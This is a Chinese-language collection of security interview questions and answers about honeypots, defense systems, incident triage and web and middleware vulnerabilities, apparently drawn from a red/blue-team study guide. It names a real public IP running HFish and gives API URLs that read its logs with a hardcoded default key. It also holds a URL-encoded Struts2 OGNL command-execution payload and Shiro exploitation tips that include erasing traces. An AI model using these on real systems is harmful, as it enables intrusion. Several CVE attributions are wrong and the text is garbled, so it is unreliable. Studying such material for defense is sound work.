高交互式 :指的是与操作系统交互很高的蜜罐,它会提供一个更真实的环境,这样更容易吸引入侵者,有利于掌握新的攻击手法和类型,但#
同样也会存在隐患,会对真实网络造成攻击。#
常见的比较优秀的蜜罐:#
oneyd:https://github.com/DataSoft/Honeyd
T-pot : https://github.com/dtag-dev-sec/tpotce常见的WEB蜜罐:
HFISH: https://github.com/hacklcx/HFish
opencanary web : https://github.com/p1r06u3/opencanary_web评分较高的蜜罐:
研究的过程中,发现了有人已经对市面上的大部分蜜罐进行了测试和评分,因为比较多,下面列举出排名前五名的蜜罐:
Shadow Daemon:https://shadowd.zecure.org/overview/introduction/影子守护进程是一组工具的集合,用于检测、记录和阻止对web应用程序的攻击。从技术上讲,影子守护进程是一个web应用程序防火墙, 它拦截请求并过滤恶意参数。它是一个模块化的系统,将web应用程序、分析和接口分离开来,以提高安全性、灵活性和可扩展性。
影子守护进程是免费软件。它是在GPLv2许可下发布的,所以它是开源的,每个人都可以检查、修改和分发代码。
难易性★★★★☆#
可用性★★★★★#
展示性★★★★★#
交互性★★★★★#
RDPY#
RDPy:https://github.com/citronneur/rdpyRDPY是Microsoft RDP远程桌面协议协议客户端和服务器端的纯Python实现。RDPY是在事件驱动的网络引擎Twisted上构建的。RDPY支持 标准RDP安全层基于SSL的RDP和NLA身份验证通过ntlmv2身份验证协议。
难易性★☆☆☆☆#
可用性★★★★★#
展示性★★★★★#
交互性★★★★★#
snare#
这个蜜罐是复制别人网站的源码程序原理跟钓鱼网站差不多#
难易性★★☆☆☆#
可用性★★★★★#
展示性★★★★★#
交互性★★★★☆#
django-admin-honeypot
难易性★☆☆☆☆#
可用性★★★★★#
展示性★★★★★#
交互性★★★★☆#
Artillery :https://github.com/trustedsec/artillery/开源蓝队工具,旨在通过多种办法保护 Linux 和 Windows 操作系统。
难易性★☆☆☆☆#
可用性★★★★★#
展示性★★★★★#
交互性★★★★☆#
二、如何识别#
攻击者也会尝试对蜜罐进行识别。比较容易的识别的是低交互的蜜罐,尝试一些比较复杂且少见的操作能比较容易的识别低交互的蜜罐。相#
对困难的是高交互蜜罐的识别,因为高交互蜜罐通常以真实系统为基础来构建,和真实系统比较近似。对这种情况,通常会基于虚拟文件系#
统和注册表的信息、内存分配特征、硬件特征、特殊指令等来识别。#
我们可以通过以下方式去做蜜罐识别:#
1. BOF的识别;BOF(Back Officer Friendly)
2. 假代理技术,关注Honeypot Hunter软件;
3. Honeyd的识别;
4. 利用Sebek识别蜜网,第二、三代蜜网都有这个软件;
5. Tarpits的识别;
6. 外联数据控制识别,一般蜜罐会严格限制系统向外的流量;
7. 识别VMware虚拟机,重点关注MAC地址的范围
8. 用Nmap等Scan工具,同一个机器同时开放很多Port的。
9. 因为很多蜜罐都设置在相同或临近的网段。所以,同一个网段(e.g. / 24 ),很多机器都开放相同的Port,回应相似的Response。
10. 去Shodan/Censys查三、常见蜜罐展示#
1.无交互蜜罐: 只针对网络批量扫描器#
通过释放大量指纹诱导扫描器攻击#
2.低交互蜜罐: HFISH (被动/主动收集信息)#
https://github.com/hacklcx/HFish页面展示如下, 一般开放在 9001 端口, 查询title “HFish - 扩展企业安全测试主动诱导型开源蜜罐框架系统”, 可以检索到一部分开放在公网的
http://182.92.157.178:9001/login一般用户拿来使用的时候也不会进行修改, 所以很好识别#
而且由于秘钥硬编码, 攻击者可以直接利用默认配置中的key访问日志信息,反日蜜罐。
比如:http://localhost:9001/api/v1/get/passwd_list?key=X85e2ba265d965b1929148d0f0e33133
另外其它的 API可以见官方 Document 说明 :https://hfish.io/docs/#/help/api还有其它的一些地址:
182.92.157.178:9001/api/v1/get/fish_info?key=X85e2ba265d965b1929148d0f0e33133
http://182.92.157.178:9001/api/v1/get/fish_info?key=X85e2ba265d965b1929148d0f0e33133
http://182.92.157.178:9001/api/v1/get/passwd_list?key=X85e2ba265d965b1929148d0f0e33133
http://182.92.157.178:9001/api/v1/get/ip?key=X85e2ba265d965b1929148d0f0e331333.高交互蜜罐: 真实环境部署探针#
通过在真实环境安插探针, 保留原有业务功能的情况下, 也可以获取攻击者信息#
十七、接触过什么防御系统#
1.防火墙:主要用于限制网络流量,防止未经授权的访问和攻击。#
2.杀毒软件:主要用于检测和清除计算机病毒和恶意软件。#
3.IDS/IPS:主要用于检测和防御入侵,可以检测和阻止网络攻击。#
4.WAF:主要用于检测和防御 Web 应用程序攻击,例如 SQL 注入、跨站脚本等。
5.DDoS 防护系统:主要用于防御分布式拒绝服务攻击,可以通过各种手段防止攻击流量对目标系统造成影响。
6.漏洞管理系统:主要用于管理和修复系统漏洞,可以对漏洞进行评估、修复和跟踪,提高系统的安全性。这些防御系统可以协同工作,形 成一个安全防线,保护系统免受攻击和侵害。
十八、APT 预警平台怎么分析是不是误报、检测到了木马怎么去排查?说一下防#
火墙误报的排查思路#
对于APT预警平台检测到的警报,需要进行进一步的分析,以确定是否误报。以下是一些常见的误报排查方法和检测到木马后的排查思路:#
1.误报排查方法#
验证警报是否与真实情况相符,例如确认相关系统是否已被更新、确认相关操作是否已被授权、确认相关IP地址是否为恶意地址等等。-#
验证警报是否由于系统问题、网络问题或其他原因导致的,例如确认系统是否存在异常、确认网络是否正常、确认相关日志是否被正确#
记录等等。- 验证警报是否由于配置问题、规则问题或其他问题导致的,例如确认系统是否存在配置错误、确认规则是否被正确设置、#
确认相关服务是否被正确启用等等。#
2.检测到木马后的排查思路#
验证木马是否为真实威胁,例如确认木马类型、确认木马来源、确认木马行为等等。- 验证木马是否已被清除,例如确认木马是否已被#
隔离、确认木马是否已被删除、确认木马是否已被更新等等。- 验证木马是否已被防御,例如确认防御措施是否已被启用、确认防御措#
施是否有效、确认防御措施是否需要更新等等。#
3.防火墙误报的排查思路#
验证防火墙规则是否正确,例如确认规则是否被正确设置、确认规则是否被正确启用、确认规则是否被正确应用等等。- 验证防火墙日#
志是否正确,例如确认是否存在日志记录、确认日志记录是否完整、确认日志记录是否可信等等。- 验证防火墙配置是否正确,例如确#
认配置是否被正确设置、确认配置是否被正确应用、确认配置是否需要更新等等。 在排查过程中,可以借助各种安全工具和技术,例#
如网络抓包、流量分析、漏洞扫描、日志分析等等,以帮助确定具体问题和解决问题。#
十九、怎么判断是不是勒索病毒?#
判断是否为勒索病毒通常可以从以下几个方面入手:1. 文件后缀名:勒索病毒通常会将受害者的文件加密,并将加密后的文件名改为一些奇#
怪的后缀名,例如 .locked、.encrypted、.crypt 等等。2. 文件内容:如果打开文件发现内容已经被加密,无法正常查看,那么很可能是勒索 病毒。3. 弹窗提示:勒索病毒通常会在受害者的电脑上弹出一个窗口,提示用户文件已被加密,需要支付赎金才能解密。4. 支付方式:勒索 病毒通常要求受害者使用比特币等虚拟货币支付赎金。5. 日志记录:在被感染的计算机上,可以查看系统日志或者安全日志,查看是否存在 异常的文件访问记录或者网络访问记录,以此判断是否为勒索病毒。 需要注意的是,勒索病毒的变种非常多,所以判断是否为勒索病毒需要 综合考虑多个因素。如果怀疑自己的电脑感染了勒索病毒,建议及时采取措施,例如断开互联网连接、备份重要文件、使用杀毒软件进行扫 描等等。
二十、网站受到大量不同 ip 的攻击怎么进行防护(访问包正常)?如果你是#
admin 权限怎么提升到 system?#
针对网站受到大量不同 IP 的攻击,可以考虑以下防护措施:1. 启用防火墙:通过启用防火墙,可以限制网络流量,防止未经授权的访问和攻#
击。2. 启用入侵检测和防御系统:通过启用入侵检测和防御系统,可以检测和防范入侵攻击,保护系统安全。3. 启用反向代理:通过启用反#
向代理,可以将攻击流量转发到其他服务器或者云端,减轻攻击对本地服务器的压力。4. 启用 CDN:通过启用 CDN,可以将静态资源缓存#
到 CDN 节点上,减轻本地服务器的负载,同时可以通过 CDN 的防护能力,抵御大规模的 DDoS 攻击。
如果我是 admin 权限,要想提升到 system 权限,可以考虑以下方法:1. 利用漏洞:通过发现系统漏洞,并利用漏洞提升权限。2. 利用弱口 令:通过猜测或者暴力破解弱口令,提升权限。3. 利用社工攻击:通过社交工程学手段,诱骗管理员泄露密码信息,从而提升权限
二十一、如果客户知道了逻辑漏洞,但是开发不能立即修复,可以用什么安全设#
备解决吗?#
如果客户知道了逻辑漏洞,但是开发不能立即修复,可以考虑使用Web应用程序防火墙(WAF)来防御潜在攻击。WAF是一种可以在Web应 用程序与客户端之间拦截和检测恶意流量的网络安全设备。WAF能够检测到常见的攻击类型,例如SQL注入、跨站点脚本(XSS)和跨站点 请求伪造(CSRF)等,并能够阻止攻击者利用这些漏洞进行攻击。WAF还可以对入站和出站的网络流量进行过滤,并根据预定义的安全策略 对流量进行阻止或允许。 然而,需要注意的是,WAF只能提供临时性的解决方案,而不能解决逻辑漏洞的根本问题。因此,客户还需要与开 发团队合作,尽早修复逻辑漏洞,以确保Web应用程序的安全性和可靠性。
二十二、护网期间你是怎么判断是否是红队 ip?#
在护网期间,如果要判断是否是红队 IP,可以考虑以下几个方面:#
1. IP 地址来源:查看 IP 地址的来源,如果来自于国内外的一些知名的安全团队或安全服务提供商,那么很有可能是红队 IP。#
2. 网络流量特征:通过分析网络流量特征,例如流量大小、协议类型、访问频率等等,可以判断是否是红队 IP。红队通常会尝试模拟攻击#
行为,产生一些异常的网络流量。#
3. 端口扫描特征:红队通常会通过端口扫描来探测目标系统的漏洞和服务,因此可以通过端口扫描特征来判断是否是红队 IP。#
4. 恶意软件特征:红队可能会利用一些恶意软件进行攻击和渗透,因此可以通过分析恶意软件的特征来判断是否是红队 IP。 需要注意的#
是,判断是否是红队 IP 需要综合考虑多个因素,并且需要有一定的安全技术和知识。如果您在护网期间遇到了红队攻击,建议及时采#
取应对措施,例如隔离网络、封锁 IP 地址、加强身份认证等等。#
二十三、红蓝对抗中,红队进入内网并且取得了一部分内网主机权限,这时候应#
该怎样紧急处理?是否参与过 HW 行动,能否独立完成关于域相关的渗透内#
容?#
在红蓝对抗中,如果红队已经进入内网并取得了一部分内网主机权限,可以采取以下紧急处理措施:1. 隔离网络:立即隔离被攻击的系统或#
网络,以避免攻击扩散和进一步损失。2. 收集证据:收集攻击的证据,包括攻击时间、攻击方式、攻击路径等,以便分析攻击来源和攻击目#
的。3. 修复漏洞:立即修复攻击中发现的漏洞或漏洞利用方式,以避免再次被攻击。4. 提升安全意识:加强员工的安全意识和培训,以避免#
类似的安全事件再次发生。 关于 HW 行动和域相关的渗透内容,这些都需要具备一定的安全技术和知识,需要根据具体情况评估是否能够独#
立完成。如果您缺乏相关的安全技术和知识,建议寻求专业的安全公司或安全团队的支持和帮助,以确保安全事件能够得到有效解决。#
二十四、如果在蓝队,如何判断一个流量是否是攻击流量?比如说系统检测到一#
个 sql 注入流量,如何判断是正常访问流量还是攻击流量以及其特征?#
在蓝队中,判断一个流量是否是攻击流量通常需要综合考虑多个因素,包括但不限于以下几个方面:1. 流量来源:检查流量来源的 IP 地址是#
否可信,是否属于异常的地理位置或者网络环境,或者是否存在一些已知的网络攻击来源。2. 流量行为:检查流量的行为是否异常,例如是#
否存在大量的 SQL 注入、XSS、文件上传等攻击行为,或者是否存在异常的访问频率、访问路径等等。3. 流量特征:检查流量的特征是否符#
合已知的攻击流量特征,例如是否包含特定的攻击代码或者攻击载荷,或者是否存在已知的攻击工具或者攻击脚本的特征。4. 系统日志:查#
看系统日志,检查是否存在异常的登录、访问、文件操作、网络连接等行为,或者是否存在异常的系统进程或者服务。#
对于 SQL 注入流量,可以通过以下几个特征来判断是否是攻击流量:1. SQL 注入语句:检查流量中是否包含 SQL 注入语句,例如#
SELECT、UPDATE、INSERT 等关键字。2. 特殊字符:检查流量中是否存在一些特殊字符,例如单引号、双引号、反斜杠等,这些字符可能#
被用于 SQL 注入攻击中。3. 数据库错误信息:检查流量中是否包含数据库错误信息,例如 SQL 语法错误、数据库连接错误等等。需要注意#
的是,判断一个流量是否是攻击流量需要具备一定的安全技术和知识,因此建议在实践中结合具体的情况进行判断,并且建议与安全团队或#
者专业的安全公司进行合作,以确保安全事件能够得到有效的解决。#
二十五、是否有防火墙、tdp、ndr、ips 以及蜜罐等配置经验?你知道的容器有#
哪些?你知道的中间件有哪些?如果一台主机发现异常,如何处置?#
防火墙、TDP、NDR、IPS 和蜜罐等配置经验:这些都是网络安全技术中常用的防御措施,需要根据具体的安全需求和系统环境进行配置。#
一般来说,防火墙可以通过限制网络访问、过滤流量、实现安全隔离等方式来保护系统安全;TDP、NDR 和 IPS 可以通过实时监控网络流#
量、检测和防范网络攻击、加强系统防御等方式来提高系统安全;蜜罐则可以通过模拟真实系统服务或者应用程序等方式来吸引攻击者,并#
收集攻击行为、攻击载荷等信息。需要根据具体情况进行配置和使用,以达到最佳的安全效果。#
容器:容器是一种轻量级的虚拟化技术,可以将应用程序和其依赖的库等打包成一个可移植的容器映像,以实现快速部署和管理。常见的容#
器技术包括 Docker、Kubernetes 等,它们都具有高度的可扩展性和灵活性,适用于各种规模的应用场景。
中间件:中间件是指连接应用程序和操作系统之间的软件组件,包括数据库、Web 服务器、消息队列、缓存等。常见的中间件包括 MySQL、Oracle、Nginx、Apache、Redis、RabbitMQ 等,它们为应用程序提供了可靠的数据存储、高效的数据访问、快速的消息传递等 基础服务。
如果一台主机发现异常,需要采取以下措施进行处置:1. 立即隔离主机:将异常主机从网络中隔离,以防止攻击进一步扩散。2. 收集证据:#
收集异常主机的日志、系统信息、网络流量等证据,以便分析异常原因和攻击方式。3. 分析异常原因:通过分析证据,确定异常的原因和攻#
击方式,以便采取相应的处置措施。4. 处理异常:根据异常的原因和攻击方式,采取相应的处置措施,例如修复漏洞、清除病毒、恢复系统#
等。#
第六章 漏洞#
一、你挖到的有技术含量的漏洞有哪些?说说挖掘的过程你最擅长的是挖何种漏#
洞?#
我挖掘到的有技术含量的漏洞包括但不限于:1. 跨站脚本漏洞(XSS)2. SQL注入漏洞 3. 任意文件上传漏洞 4. 逻辑漏洞 5. SSRF漏洞 6. 代码#
注入漏洞 7. 信息泄露漏洞 8. 远程代码执行漏洞(RCE)9. 服务器端请求伪造漏洞(SSRF)10. 文件包含漏洞 11. 命令注入漏洞 12. CSRF漏#
洞 13. XML外部实体注入漏洞#
我的挖掘过程一般包括以下几个步骤:#
1.收集信息:包括目标站点的域名、IP地址、子域名、端口、Web应用程序、操作系统、服务等信息。2. 探测漏洞:包括使用扫描器和手动 测试,探测目标站点的漏洞。3. 漏洞验证:对探测到的漏洞进行验证,确认漏洞的存在性和危害程度。4. 漏洞利用:利用漏洞获取敏感信 息、执行恶意操作等。5. 漏洞报告:对漏洞进行详细的报告,包括漏洞类型、危害程度、攻击场景、修复建议等。
我最擅长挖掘的漏洞类型是SQL注入、XSS、SSRF和任意文件上传漏洞。对于这些漏洞类型,我可以使用多种工具和技术进行挖掘,包括手 动测试、自动化扫描、Fuzzing等。
二、有没有在网上找到过存在漏洞版本的中间件?中间件漏洞,Apache 有没有#
搭建过?#
在网上可以找到很多存在漏洞版本的中间件,例如常见的Web服务器和应用服务器,如Apache、Tomcat、Nginx、IIS等,以及常见的数据 库,如MySQL、Oracle、SQL Server等。 我曾经使用Apache搭建过Web服务器,在搭建的过程中也遇到了一些安全问题。Apache本身存 在一些漏洞,例如CVE-2019-10082和CVE-2019-0211等,攻击者可以通过利用这些漏洞来执行远程代码、拒绝服务等攻击。为了保证服务 器的安全性,我会及时更新Apache版本,同时加强服务器的安全配置,例如对敏感目录进行访问控制、限制HTTP请求方法、关闭不必要的 模块等。在安全实践中,我还会使用WAF等安全设备来对服务器进行加固和保护。
三、说一下 apache 中间件经典漏洞、apache 上传文件怎么判断后缀?说一下#
IIS6.0 中间件存在什么漏洞?#
1. Apache中间件经典漏洞:- CVE-2017-5638:Struts2远程代码执行漏洞,攻击者可以通过构造恶意请求,利用该漏洞执行远程代码。-
CVE-2019-0211:Apache HTTP服务器缓冲区溢出漏洞,攻击者可以通过构造恶意请求,利用该漏洞执行拒绝服务攻击。- CVE-2019-
10082 :Apache HTTP服务器路径遍历漏洞,攻击者可以通过构造恶意请求,利用该漏洞读取服务器上的敏感文件。
2. Apache上传文件如何判断后缀?一般情况下,Apache上传文件的后缀名可以通过两种方式来判断:- 通过文件MIME类型进行判断:
Apache会根据上传文件的MIME类型来判断文件类型,从而进行筛选。但是,MIME类型是可以被伪造的,因此这种方式并不是十分可
靠。- 通过文件扩展名进行判断:Apache会根据上传文件的扩展名来判断文件类型,从而进行筛选。但是,扩展名也是可以被伪造的,
因此这种方式也并不是完全可靠。为了提高判断的准确性,可以对上传文件的扩展名进行白名单过滤,只允许上传指定扩展名的文件。
3. IIS6.0中间件存在的漏洞:- CVE-2017-7269:IIS6.0远程缓冲区溢出漏洞,攻击者可以通过发送恶意请求,利用该漏洞执行远程代码。-
CVE-2019-0230:IIS6.0远程代码执行漏洞,攻击者可以通过构造恶意请求,利用该漏洞执行远程代码。- CVE-2017-7268:IIS6.0远程
拒绝服务漏洞,攻击者可以通过发送恶意请求,利用该漏洞导致服务器崩溃。这个漏洞是由于IIS6.0的WebDAV模块存在安全问题导致
的。为了保护服务器的安全性,可以禁用IIS6.0的WebDAV模块,或者对WebDAV模块进行安全配置。四、说一下中间件漏洞,tomcat 解析漏洞哪些中间件存在解析漏洞?复现过#
吗?了解哪些中间件及其漏洞?常见的中间件,比如 Jboss 有什么漏洞?#
中间件漏洞是指应用程序中使用的中间件组件存在漏洞,例如Web服务器、应用服务器、数据库等,攻击者可以利用这些漏洞对中间件进行 攻击,从而达到窃取敏感信息、执行远程代码等目的。 Tomcat解析漏洞是指攻击者可以通过构造恶意请求,利用Tomcat解析器的漏洞,执 行远程代码。该漏洞的危害性较大,因为Tomcat是一款常用的Web应用服务器,很多网站都使用了Tomcat,攻击者可以通过利用该漏洞窃 取网站的敏感信息。 除了Tomcat,还有一些其他的中间件也存在解析漏洞,例如Apache Struts2,攻击者可以通过构造恶意请求,利用 Struts2解析器的漏洞,执行远程代码。 常见的中间件还包括JBoss、WebLogic、WebSphere等,它们也存在不同的漏洞。例如,JBoss曾经 存在的一些漏洞包括:CVE-2015-7501(JMXInvokerServlet远程代码执行漏洞)、CVE-2017-12149(JMXInvokerServlet和JMX-WS远程代 码执行漏洞)等。 我曾经复现过一些中间件的漏洞,例如Tomcat的CVE-2020-1938漏洞,该漏洞可以通过发送恶意请求,利用Tomcat的 AJP协议解析器漏洞,执行远程代码。我通过编写Python脚本,构造恶意请求,成功利用该漏洞执行了远程代码。
五、说一下给定找回密码处,常见的逻辑漏洞有哪些?给你一个表单页你可以测#
哪些洞?#
常见的找回密码处逻辑漏洞有以下几种:#
1.密码重置链接没有过期时间限制:如果找回密码的链接没有设置过期时间限制,攻击者可以在未来的某个时间点使用该链接进行密码重#
置,从而盗取用户账号。#
2.邮箱地址未验证:如果找回密码的邮箱地址没有进行验证,攻击者可以使用自己的邮箱地址进行密码重置,从而盗取用户账号。#
3.安全问题容易被猜到:如果找回密码的安全问题容易被猜到,攻击者可以猜到答案,并利用答案进行密码重置,从而盗取用户账号。#
4.密码恢复策略不严格:如果找回密码的密码恢复策略不严格,攻击者可以通过多次尝试进行暴力破解,从而盗取用户账号。#
在给定的表单页中,可以测试以下漏洞:#
1.SQL注入漏洞:尝试在表单中输入一些恶意的SQL语句,看是否能够执行成功。#
2.XSS漏洞:在表单中输入一些恶意的脚本,看是否能够在页面上执行。#
3.CSRF漏洞:在表单中提交一些恶意请求,看是否能够执行成功。#
4.文件上传漏洞:在表单中上传一些恶意文件,看是否能够被服务器接受并执行。#
5.密码重置漏洞:测试是否存在常见的找回密码处逻辑漏洞,例如重置链接没有过期时间限制、邮箱地址未验证等。#
六、给一个登录框你能想到的漏洞是?#
以下是一些可能存在于登录框中的漏洞:#
1.SQL注入漏洞:攻击者可以通过在用户名或密码字段中构造恶意的SQL语句,从而绕过身份验证机制,登录到系统中。#
2.XSS漏洞:如果输入框没有进行正确的输入过滤,攻击者可以在用户名或密码字段中插入恶意的脚本,从而在用户的浏览器中执行恶意的代#
码。#
3.CSRF漏洞:攻击者可以通过伪造恶意请求,欺骗用户在不知情的情况下进行登录操作,从而获取用户的账号和密码。#
4.密码暴力破解漏洞:如果登录框没有设置密码强度要求或者没有进行登录次数限制,攻击者可以通过使用密码字典或者暴力破解工具进行#
密码猜测,从而获取用户的账号和密码。#
5.CAPTCHA破解漏洞:如果登录框使用了CAPTCHA验证,但是CAPTCHA验证的机制不够安全,攻击者可以通过使用OCR等工具进行#
CAPTCHA的破解,从而绕过登录验证,登录到系统中。#
6.信息泄露漏洞:如果登录框没有进行正确的安全措施,攻击者可以通过抓包等方式获取到用户的账号和密码等敏感信息。#
七、给一个登录框,你可以找出哪些逻辑漏洞?#
以下是一些可能存在于登录框中的逻辑漏洞:#
1.用户名和密码没有限制尝试次数:攻击者可以通过使用密码字典或者暴力破解工具进行密码猜测,从而获取用户的账号和密码。如果登录#
框没有设置密码强度要求或者没有进行登录次数限制,攻击者可以进行无限次密码猜测,最终获取登录凭证。#
2.密码重置功能没有验证身份:如果登录框中提供了密码重置功能,但是在密码重置过程中没有验证用户的身份,攻击者可以使用该功能,#
绕过登录验证,登录到系统中。#
3.账号和密码可以通过URL传递:如果登录框中账号和密码可以通过URL传递,攻击者可以通过在URL中添加账号和密码,直接登录到系统#
中,绕过登录验证。#
4.记住密码功能存在安全问题:如果登录框中提供了记住密码功能,但是在记住密码过程中没有进行加密或者没有设置过期时间,攻击者可#
以通过获取浏览器中保存的密码,从而绕过登录验证,登录到系统中。#
5.CSRF漏洞:如果登录框中没有进行CSRF攻击的防范,攻击者可以通过伪造恶意请求,欺骗用户在不知情的情况下进行登录操作,从而获取#
用户的账号和密码。 需要注意的是,以上漏洞不是所有的登录框都存在的,具体需要根据实际情况进行分析和判断。#
八、给你一个登录框,有忘记密码,注册,可以发短信有哪些漏洞?忘记密码存#
在哪些漏洞?#
对于登录框中的忘记密码功能,存在以下漏洞:#
1.验证码绕过:如果忘记密码功能中的验证码验证不够强,攻击者可以通过使用OCR等工具进行验证码的破解,从而绕过验证码验证,进行#
密码重置操作。#
2.安全问题:如果忘记密码功能中的密码重置操作没有进行身份验证,攻击者可以使用该功能,绕过登录验证,登录到系统中。#
3.密码重置链接泄露:如果密码重置链接在过期后没有失效,或者在发送给用户时未进行加密或者未进行足够的安全措施,攻击者可以通过#
获取密码重置链接,直接进行密码重置操作,从而获取登录凭证。#
4.XSS漏洞:如果输入框没有进行正确的输入过滤,攻击者可以在重置密码链接中插入恶意的脚本,从而在用户的浏览器中执行恶意的代码。#
对于登录框中的注册和短信功能,可能存在的漏洞包括:SQL注入漏洞、XSS漏洞、CSRF漏洞、密码重置链接泄露等。需要在开发和部署过#
程中对这些漏洞进行有效的预防和防范。#
九、fastjasion 反序列化漏洞了解过吗?如果使用 payload 去 ping dnslog 外#
带执行一些系统命令入 whoami 如果 dnslog 没有回显你觉得是什么原因?#
我了解fastjson反序列化漏洞。如果使用payload去ping dnslog并执行一些系统命令,例如whoami,但dnslog没有回显,可能有以下原 因:
1. Payload中的命令有误,导致命令执行失败。
2. 防火墙或IDS/IPS拦截了出站流量,阻止了ping请求和返回。
3. DNS解析失败,无法解析dnslog的IP地址。
4. DNS服务器出现故障,无法提供服务。
5. DNSlog服务器出现故障,无法接收和记录请求。 需要进一步排查才能确定具体原因。十、shiro 反序列化在利用时需要注意些什么?#
在利用shiro反序列化漏洞时,需要注意以下几个方面:
1. 需要确定目标服务器上是否存在shiro框架,并且版本是否存在反序列化漏洞。
2. 需要选择合适的反序列化payload,payload的内容应该尽量简单化,不能包含过多的无用信息,以免出现反序列化失败的情况。
3. 需要确定反序列化时使用的类路径和类名是否正确,在构造payload时需要仔细检查。
4. 如果目标服务器做了反序列化保护,需要使用一些技巧绕过,例如使用非标准序列化库或者使用自己构造的序列化类等。
5. 在攻击时需要注意反弹shell等操作的风险,避免给目标服务器带来不必要的风险。
6. 在攻击后需要删除痕迹,避免留下可追溯的攻击痕迹。 总的来说,利用shiro反序列化漏洞需要进行充分的测试和准备,避免出现不必
要的错误和风险。十一、什么是 shiro 反序列化漏洞?怎么判断的?什么原理?危害有哪些?#
shiro 反序列化漏洞,停留在表层,为什么需要序列化?过程是怎样的? shiro#
反序列化你是怎么挖掘的?#
Shiro反序列化漏洞是Apache Shiro框架中的一个安全漏洞,攻击者可以利用该漏洞在未授权的情况下执行任意命令或者获取敏感信息。漏 洞产生的原因是Shiro框架在反序列化数据时对用户输入的数据没有进行足够的验证和过滤,导致攻击者可以构造恶意数据来触发漏洞。
判断Shiro反序列化漏洞是否存在的方法是通过版本号来确定,目前已知Shiro 1.2.4及之前版本存在该漏洞。可以通过查看目标服务器上 Shiro的版本号来判断漏洞是否存在。
Shiro反序列化漏洞的原理是攻击者构造一个带有恶意代码的序列化数据,并将其发送给应用程序,应用程序在反序列化该数据时会执行其中 的恶意代码,导致攻击者可以在未授权的情况下执行任意命令或者获取敏感信息。
Shiro反序列化漏洞的危害包括:执行任意命令、获取敏感信息、绕过身份验证和越权访问等。
Shiro需要序列化是因为Shiro框架需要将用户的身份认证信息序列化后存储在Cookie或者Session中,以便下次用户访问时可以快速进行身 份认证。而攻击者可以通过构造恶意的序列化数据来绕过身份认证,从而实现攻击目的。
对于Shiro反序列化漏洞的挖掘,可以通过以下步骤进行:
了解Shiro框架的基本原理和反序列化漏洞的相关知识;
确定目标服务器上是否使用了Shiro框架,并确定其版本号;
构造合适的恶意序列化数据,并发送给目标服务器;
监听目标服务器的反应,观察是否存在反序列化漏洞,以及漏洞的具体利用方式。十二、struts2 漏洞原理是调用了 ognl 组件的哪个接口的哪个方法?#
Struts2漏洞原理是由于Struts2框架中使用了OGNL(Object-Graph Navigation Language)表达式语言,并且未对用户输入进行充分的过 滤和验证,导致攻击者可以通过构造恶意请求向服务器注入OGNL表达式,从而执行任意代码。具体来说,攻击者可以在HTTP请求参数中注 入一个带有OGNL表达式的字符串,当服务器接收到该请求时,会将该字符串传递给OGNL组件的getValue()方法,从而执行其中的恶意代 码。因此,攻击者可以通过构造恶意请求来执行任意代码。 举个例子,假设存在如下漏洞代码:
其中,%24%7B表示$ {的URL编码,%23表示#的URL编码。攻击者利用OGNL表达式执行了命令"ls -la",并将输出通过HTTP响应返回给攻 击者。这就是一个简单的Struts2漏洞利用过程。
十三、struts2 的漏洞成因是什么?#
复制代码 private String name;
public String execute() throws Exception {
String message = "Hello, " + name + "!";
return message;
}
public void setName(String name) {
this.name = name;
}
public String getName() {
return name;
}}```
攻击者可以向该Action发起如下恶意请求:
```http://example.com/hello.action?
name=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRunti
me().exec(%27ls%20-
la%27)%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.Bu
fferedReader(%23c)%2C%23e%3Dnew%20char%5B5000%5D%2C%23d.read(%23e)%2C%23out%3D%40org.apache.struts2.ServletAct
ionContext%40getResponse().getWriter()%2C%23out.print(%23e)%2C%23out.flush()%2C%23out.close()%7DStruts2的漏洞成因是由于Struts2框架中使用了OGNL(Object-Graph Navigation Language)表达式语言,并且未对用户输入进行充分的 过滤和验证,导致攻击者可以通过构造恶意请求向服务器注入OGNL表达式,从而执行任意代码。具体来说,攻击者可以在HTTP请求参数中 注入一个带有OGNL表达式的字符串,当服务器接收到该请求时,会将该字符串传递给OGNL组件的getValue()方法,从而执行其中的恶意代 码。因此,攻击者可以通过构造恶意请求来执行任意代码。常见的Struts2漏洞包括但不限于:
S2-009:远程执行命令漏洞
S2-013:远程执行命令漏洞
S2-016:远程执行命令漏洞
S2-032:远程执行命令漏洞
S2-045:远程执行命令漏洞
S2-057:远程执行命令漏洞
攻击者可以利用以上漏洞在未授权的情况下执行任意代码或者获取敏感信息,从而造成严重的安全后果。因此,在使用Struts2框架开
发应用程序时,需要充分了解Struts2框架的安全机制,并且对用户输入进行充分的过滤和验证,以避免安全漏洞的产生。十四、低版本微信漏洞配合谷歌浏览器是怎么利用的?#
低版本微信漏洞是指微信客户端中存在的一些安全漏洞,攻击者可以利用这些漏洞进行攻击。其中,配合谷歌浏览器的攻击方式主要是通过#
Chrome浏览器中的漏洞来实现攻击。 具体来说,攻击者可以通过利用Chrome浏览器的漏洞控制微信客户端中的某些功能,从而实现攻 击。例如,攻击者可以通过Chrome浏览器发送一个特定的URL给微信客户端,并在URL中包含恶意代码,当微信客户端打开该URL时,就会 执行恶意代码。此时,攻击者可以利用Chrome浏览器的漏洞控制微信客户端,实现远程控制等攻击行为。 需要注意的是,这种攻击方式需 要满足一定的条件,包括攻击者需要知道微信客户端存在的漏洞,同时也需要知道Chrome浏览器中的漏洞。因此,这种攻击方式难度较 大,但对于一些重要的目标,攻击者可能会采取类似的攻击方式。为了避免被攻击,建议用户使用最新版本的微信客户端和谷歌浏览器,并 且注意安装防病毒软件和安全补丁。
十五、说一下 phpmyadmin 漏洞的种类,fastjesion 反序列化漏洞原理,exp#
利用说一下 Shiro550、 721 原理#
PHPMyAdmin漏洞种类:
SQL注入漏洞
跨站脚本攻击漏洞
任意文件上传漏洞
操作权限绕过漏洞
信息泄露漏洞
代码执行漏洞等。Fastjson反序列化漏洞原理:Fastjson是一个高性能的Java JSON库,使用方便,并具有较高的性能。Fastjson反序列化漏洞是指攻击者通过 构造恶意JSON数据,利用Fastjson反序列化功能实现远程代码执行。漏洞的原因是Fastjson反序列化时没有对反序列化对象进行充分的安全 检查,导致攻击者可以通过构造恶意JSON数据来执行任意代码。
